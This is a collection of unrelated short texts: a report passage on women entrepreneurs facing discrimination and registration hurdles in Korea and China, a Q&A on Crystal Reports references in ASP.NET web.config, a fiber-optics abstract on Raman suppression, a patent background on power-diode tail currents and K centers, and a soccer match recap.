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me down after they met the woman behind the business concept. Even today, gender discrimination continues with unequal requirements by banks for proof of creditworthiness.â&#x20AC;? This situation was previously exacerbated by a high minimum paid up capital requirement, which encouragingly has since been abolished. Coming from a wealthy Korean family, Sung-Joo was ultimately able to turn to her businessman father for a start-up loan, a luxury not available to most potential entrepreneurs. Sung-Joo also encountered problems with the Republic of Koreaâ&#x20AC;&#x2122;s complex business registration regime; a total of eight different procedures are required; it was even more cumbersome when Sung-Joo began in business in the 1990s. Given her frustration with the cumbersome procedures, Sung-Joo decided to pay an incorporation expert to ensure her new company was in regulatory compliance. Despite this expert assistance, it took several months to register her company in 1990. For those who cannot afford to hire an expert to help them manage the process, registration procedures can be even more daunting. These obstacles make starting a business especially difficult for women, who are less likely to have the needed money, time, or contacts to navigate the process. Sources: World Bank 2009, 2010. Such de facto discrimination is found in several developing countries in the region. In China, increasing unemployment has created tensions in the labor market, apparently exacerbating the tendency toward gender discrimination in employment. Reportedly, some job postings openly express a preference for male employees in many areas. Recent female graduates with good qualifications are often less likely to be hired than males with lower credentials (Li and others 2002; ADB 2006a). More systematic research would shed light on the degree and severity of such discrimination in the workplace as well as its dimensions: glass ceilings in management, unequal hiring practices, de facto restrictions on job types, and so forth. Internal Assets: Human Capital and Time The success of enterprises is partly a function of the skills and time of those who run them. If women lack the right business skills, they are
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Q: Crystal Reports in ASP.NET3.5 I am trying to add crystal report viewer in ASP.NET 3.5 application, but its giving me this error. The type 'CrystalDecisions.Enterprise.EnterpriseSession' is defined in an assembly that is not referenced. You must add a reference to assembly 'CrystalDecisions.Enterprise.Framework, Version=10.5.3700.0, Culture=neutral, PublicKeyToken=692fbea5521e1304'. I have added this in web.config file under assemblies tag, added reference also. But still giving this error. Any idea about it?? Thanks. A: Did you drag the Crystal Report Viewer control from the toolbox to your web page? If not, try doing it that way. Visual Studio is usually good to find all the appropriate references and add them when you do things that way. Aside from that, you may need to add some additional libraries to your web.config. In my apps using Crystal, I have the following files referenced: <assemblies> <add assembly="CrystalDecisions.Web, Version=11.5.3700.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.Shared, Version=11.5.3700.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.ReportSource, Version=11.5.3700.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.Enterprise.Framework, Version=11.5.3300.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.Enterprise.Desktop.Report, Version=11.5.3300.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.ReportAppServer.Controllers, Version=11.5.3300.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.CrystalReports.Engine, Version=11.5.3700.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.Enterprise.InfoStore, Version=11.5.3300.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.Enterprise.Viewing.ReportSource, Version=11.5.3300.0, Culture=neutral, PublicKeyToken=692FBEA5521E1304"/> <add assembly="CrystalDecisions.ReportAppServer.ClientDoc, Version=11.5.3300.0, Culture=neutral, PublicKeyToken=692fbea5521e1304"/> </assemblies> In addition, just before the closing system.web tag, I also have the following httpHandler added: <httpHandlers> <add verb="GET" path="CrystalImageHandler.aspx" type="CrystalDecisions.Web.CrystalImageHandler, CrystalDecisions.Web, Version=11.5.3700.0, Culture=neutral, PublicKeyToken=692fbea5521e1304"/> </httpHandlers> My app is using version 11r2 of Crystal Reports, so a few of the libraries may or may not exist, but most of them are the same.
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Raman cascade suppression by using wide band parametric conversion in large normal dispersion regime. We present experimental results on the suppression of a complete Raman cascade in a holey fiber by using gain competition with parametric processes. The modulation instabilities which strongly affect the stimulated Raman scattering (SRS) gain are induced by two pump wavelengths (532 nm, 1064 nm) placed far and quasi symmetrically on each side of the zero dispersion wavelength (ZDW) of the fiber (790 nm). The competition between these two nonlinear effects takes place in large normal dispersion regime. We experimentally determinate the quantity of energy needed at each pump wavelength to obtain total suppression of the SRS and we evaluate the sensitivity of this effect with respect to the ZDW position.
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When a semiconductor component is turned off from its conducting state to its blocking state, as is known firstly a space charge zone forms proceeding from the reverse-biased pn junction, the voltage present at the semiconductor component being taken up in said space charge zone. If the semiconductor component is a diode, by way of example, then the space charge zone propagates proceeding from the pn junction of the diode in the direction of the cathode. In the “back part” of the diode, that is to say in the area before the cathode, part of the originally stored charge is then initially still present, but is reduced with increasing propagation of the space charge zone in the subsequent period. During this subsequent period during which the space charge zone propagates further, a so-called “tail current” flows, which is chopped only when the space charge zone arrives at the highly doped zone upstream of the cathode, that is to say at an nn+ junction. Once the space charge zone abuts on said nn+ junction this leads to chopping of the tail current. This sudden current chopping results in excessive voltage increases on account of the inductance and oscillations present in the electric circuit. One example of this is shown in FIG. 6 for a 3.3 kV diode. At an instant of approximately t=3E-6 s after the turn-off of the diode, the tail current iT is chopped, which results in oscillations of the current i (A) still flowing overall between anode and cathode. Owing to the high di/dt gradient, this chopping of the tail current also generates voltage spikes, which are extremely undesirable since they may lead to the destruction of the component. It is necessary, therefore, as far as possible to avoid current chopping on account of the space charge zone abutting on nn+ junctions in the event of the turn-off of a semiconductor component. The above facts and measures undertaken previously with regard to these facts will be explained below with reference to FIGS. 7a and 7b, in which the doping profile for acceptors NA and for donors ND is plotted using solid lines and the profile of the electric field E that results from said doping profile is plotted using dashed lines as a function of the depth w of the semiconductor component. For the electric field E, a distinction is made here between a static field E(stat) and a dynamic case E(dyn) occurring particularly when the polarity is turned off. The width or depth of the weakly doped base zone, which essentially takes up the voltage, is indicated by WB. The highest field strength, achieved in the static case, is Ec. FIG. 7A reveals the p-doping of the anode zone, the n−-type doping of the voltage taking-up region and the n+-type doping of the highly conducting zone before the cathode. The curve E(dyn) indicates the situation in which the space charge zone abuts on the highly doped n+-type zone when the component is turned off. The chopping of the reverse current as shown in FIG. 6 occurs in the event of this abutting. The curve E(stat) for the static case is situated considerably higher since the phenomena explained with reference to FIG. 6 do not occur here. The voltages that can be taken up respectively in the static case and dynamic case correspond to the areas beneath the curves E(stat) and E(dyn), that is to say the field strength E(w) integrated over the width w. To summarize, it emerges, then, that a component having the doping profile shown in FIG. 7A has a relatively high static blocking capability and a relatively low dynamic blocking capability, the dynamic blocking capability being the voltage at which reverse current chopping occurs. One possibility for increasing the dynamic blocking capability might consist in making the width of the voltage taking-up region, that is to say the width wB of the n−-doped region, so large that the electric field does not reach the nn+ junction, that is to say the width wB, at the highest voltage with respect to which the component is commutated. In the case of components having a high blocking capability for an area of use of greater than 2 kV, however, the doping must be chosen to be low enough to achieve a sufficient stability against cosmic radiation. Such a low doping permits the gradient of the electric field to become small, however, and leads to a large extent of the space charge zone. Moreover, a large width of the voltage taking-up region, also called central zone, leads to high on-state and/or switching losses. In this case, said on-state and/or switching losses increase approximately proportionally to the magnitude of wB. Therefore, it is not possible to choose the most suitable values from standpoints of the blocking capability for the width wB. As is known, there are IGBTs or thyristors which have a more highly n-doped layer as a so-called field stopping area or “buffer” before a p-conducting collector zone or anodal emitter zone. Such a field stopping area can be produced by proton irradiation from the collector or anode side and subsequent annealing (in this respect, cf. “13 kV Rectifiers: Studies on Diodes and Asymetric Thyristors”, Proceedings ISPSD 2003, pp. 122-125). The situation manifested in a component comprising such a field stopping zone is illustrated for the case of a diode in FIG. 7B. As can be gathered from said FIG. 7B, the field stopping zone leads to a higher gradient of the electric field strength E on account of its increased doping. The area beneath the curve E(dyn) thus becomes considerably larger than in the case of a component without a field stopping zone. That is to say that the space charge zone abuts on the nn+ junction only at a higher voltage or—for the case where the field stopping zone is sufficiently highly doped—does not abut at all on the nn+ junction. In the dynamic case, therefore, the semiconductor component configured in this way can block higher voltages. One disadvantage of a field stopping zone, the depth of which is indicated by WBuf in FIG. 7B, is that the area beneath the curve E(stat) is significantly smaller than in the case of a semiconductor component without a field stopping zone according to FIG. 7A because the zone behind the field stopping zone or between the latter and the highly doped n+-type zone can contribute scarcely or not at all to taking up the electric field. A semiconductor component in which a curve E(dyn) according to FIG. 7B is applicable in the dynamic case, while the profile of the curve of E(stat) from FIG. 7A is maintained in the static case, would be inherently desirable. This condition is apparently not met by existing semiconductor components. When a silicon body is irradiated with high-energy electrons or with H+ or He++ atomic nuclei (ions), in the silicon a series of different centers Z arise in the area between the valance band V and the conduction band L of silicon, as is illustrated schematically in FIG. 8. Some of these centers are used as recombination centers. Irradiation with H+ ions, that is to say proton irradiation, also gives rise to a center which acts as a fixed donor and can be used for example for producing a field stopping zone, such as for the field stopping zone “Buffer” in FIG. 7B. Apart from the fixed donor assigned to the proton irradiation, the irradiation with e.g. protons, He++ nuclei carbon atoms or electrons and subsequent annealing at a temperature of more than 220° C. give rise specifically to the centers Z shown in FIG. 8, namely double vacancies VV or E (230 K) at −0.24 eV, −0.43 eV and +0.19 eV and a center made up of an association of an oxygen atom with a vacancy, namely a center OV or E (90 K) at an energy level of −0.17 eV, these centers acting as recombination centers. The so-called K center (COVV), which is described as an association of a carbon atom, an oxygen atom and two vacancies, also arises in all types of irradiation with a subsequent annealing process, that is to say in the event of irradiation with high-energy electrons, with H+ nuclei, He++ nuclei or carbon ions. This center is only very weakly effective as a recombination center. It lies at an energy level of +0.355 eV and is also designated by H (195 K). The K center COVV has been known hitherto primarily owing to its disturbing properties. Thus, DE 187 09 652 A1, for example, reports that a homogeneous distribution arises at K centers after an electron irradiation. These K centers act as a temporary donor: they are positively charged directly after current flow. This charge state lasts a few 100 ns to a few μs depending on the temperature. At this time in which the K centers are effective, the effective basic doping of the semiconductor body doped with them is temporarily raised. On account of such an increased basic doping, a semiconductor component undergoes transition far below its static reverse voltage to an avalanche breakdown. Such a breakdown triggers a high-frequency oscillation, the dynamic IMPATT oscillation. Said IMPATT oscillation disappears after a few microseconds, the semiconductor component generally not being destroyed, however. It is necessary to avoid an IMPATT oscillation on account of the strong electromagnetic interference emission. For this reason, the permissible number of K centers is limited in the case of the power diode described in DE 197 09 652 A1. This means that electron irradiation can be employed without causing disturbing oscillations. The publication “Analysis of Dynamic Impatt Oscillations caused by Radiation Induced Deep Centers” Proceedings ISPSD 2003, explains how it is possible to demonstrate the doping effect of K centers by the production of a local profile of defects in the implantation of He++ nuclei. The disturbing IMPATT oscillations are likewise used in the process. FIG. 9 shows a profile of the various centers after a helium implantation and annealing in the region of 350° C. It can clearly be seen from FIG. 9 that the COVV centers exceed the OV and VV centers in the concentration K (cm−3). In the above publication, the He++ nuclei are implanted from the anode side. Therefore, the distance from the anode is plotted on the abscissa of FIG. 9. However, this publication, too, refers to the disturbing influence of the K centers, which should be avoided as far as possible. Consequently, the prior art gives the person skilled in the art the clear instruction that the occurrence of K centers should be prevented as far as possible in semiconductor components owing to their disturbing influence.
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Back in 2011, when the grizzled "Clever" Hans Backe roamed the Metro sidelines, ties for the norm. 16 times Metro ended a game with a draw, which tied that year's Chicago Fire for most in MLS history (that far). In fact, Metro and the Fire drew both times they met that regular season. The story in 2017 has been different. Until recently, Metro's regular season results have been mostly binary, with only two ties in their first 24 games. However, the tide has turned, as Metro tied its third straight match, this time, against their old drawing partner, Chicago. 1:1 was the final score. Kemar Lawrence anf Fidel Escobar stepped in on defense, Sal Zizzo switched back to the wing, and Tyler Adams moved up in midfield as Damien Perrinelle sat and Sean Davis had to sit out due to yellow cards. Metro struck first, just eight minutes into the game. On a play that started as a corner kick, Escobar sent a ball into the box, where it was headed by the set piece taker, Sacha Kljestan. Somehow, the Fire defense left Bradley Wright-Phillips unmarked, and he easily pounced on the ball and slammed in his 95th goal in all competitions. Metro was saved by the woodwork twice in the first half, but Chicago would break through in the 66th. A long ball was sent into the box. Escobar was the only defender back, as the Fire attacker saved it from going out, centering it instead. There, it was Nemanja Nikolic's time to pounce, and the game was tied. Luis Robles made a fantastic save on a close-range attempt to keep the game level, but it was Metro who controlled the ball the rest of the way. Sadly, the forays into the Fire end were met with a multitude of defenders, and a tie is what we got. Now, all those ties back in 2011 meant Metro needed to win its regular season finale to make the playoffs. Just a reminder...
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